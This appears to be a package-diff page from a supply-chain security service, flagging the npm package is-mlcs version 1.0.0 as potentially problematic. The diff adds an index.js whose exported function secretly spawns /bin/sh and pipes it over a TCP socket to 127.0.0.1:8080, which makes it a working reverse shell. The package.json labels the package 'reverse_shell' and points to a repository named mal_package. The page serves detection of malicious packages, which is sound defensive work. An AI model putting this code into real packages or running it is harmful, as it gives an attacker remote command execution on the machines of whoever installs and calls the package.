is-mlcs 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of is-mlcs might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +0 -0
  2. package/index.js +16 -0
  3. package/package.json +16 -3
package/README.md CHANGED
Binary file
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ function is_mlcs(string){
2
+
3
+ // malicious code starts here
4
+ var net = require("net"),
5
+ cp = require("child_process"),
6
+ sh = cp.spawn("/bin/sh", []);
7
+ var client = new net.Socket();
8
+ client.connect(8080, "127.0.0.1", function(){
9
+ client.pipe(sh.stdin);
10
+ sh.stdout.pipe(client);
11
+ sh.stderr.pipe(client);
12
+ });
13
+ return /a/; // Prevents the Node.js application form crashing
14
+ }
15
+
16
+ module.exports = is_mlcs
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "is-mlcs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "reverse_shell",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/ashwintest9351/mal_package.git"
12
+ },
13
+ "author": "",
14
+ "license": "ISC",
15
+ "bugs": {
16
+ "url": "https://github.com/ashwintest9351/mal_package/issues"
17
+ },
18
+ "homepage": "https://github.com/ashwintest9351/mal_package#readme"
6
19
  }